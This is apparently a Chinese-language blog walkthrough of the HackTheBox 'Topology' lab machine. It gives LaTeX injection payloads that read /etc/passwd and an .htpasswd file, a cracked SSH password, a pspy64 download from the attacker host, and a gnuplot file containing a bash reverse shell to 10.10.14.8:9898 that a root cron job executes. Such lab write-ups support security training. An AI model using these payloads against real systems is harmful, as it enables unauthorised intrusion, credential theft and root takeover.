HTB-Topology


HTB-Topology

一、思路概要

1.信息收集发现LaTeX公式生成器;

2.LaTeX公式生成器任意文件读取Apache的.htpasswd文件获取SSH账户;

3.SSH连接执行pspy64发现定时任务反弹shell获取root权限。

二、信息收集

nmap扫描端口服务

nmap -A 10.10.11.217

80端口开放,直接访问

首页看到有一个LaTeX表达式的超链接

发现子域,添加进本地hosts文件

echo "10.10.11.217 latex.topology.htb topology.htb" >> /etc/hosts

三、latex实现任意文件读取

google关键词:latex exploit

https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#latex-injection

经过尝试,最终payload如下,读取/etc/passwd文件

$\lstinputlisting{/etc/passwd}$

发现另一个用户vdaisley,但是没有口令,扫描子域发现statsdev子域,都添加到本地hosts文件后,stats子域打开是一张图片,dev子域需要认证

gobuster vhost -u http://topology.htb --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

既然dev子域需要认证,而且通常在Apache服务器中会使用.htpasswd文件存储密码文件,那么vdaisley的口令也极有可能存储在dev子域的.htpasswd文件中,又因为此文件通常位于网站根目录,所以可以用如下payload尝试读取/var/www/dev/.htpasswd文件

$\lstinputlisting{/var/www/dev/.htpasswd}$

vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

把hash值写入文件hash,用john爆破

john --wordlist=/usr/share/wordlists/rockyou.txt hash

vdaisley:calculus20

SSH连接

四、pspy64发现定时任务反弹shell

本地kali开启http服务

python3 -m http.server 80

目标靶机从本地下载pspy64

wget http://10.10.14.8/pspy64
chmod +x pspy64

执行,发现定时任务如下,可通过在/opt/gnuplot目录下新建后缀为.plt的文件,并在文件中写入恶意命令,通过定时任务的/bin/sh -c间接执行

新建文件/opt/gnuplot/shell.plt,内容如下

system "bash -c 'bash -i >& /dev/tcp/10.10.14.8/9898 0>&1'"

本地kali开启监听

nc -lvnp 9898

稍等片刻,成功获取root权限

Over!


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录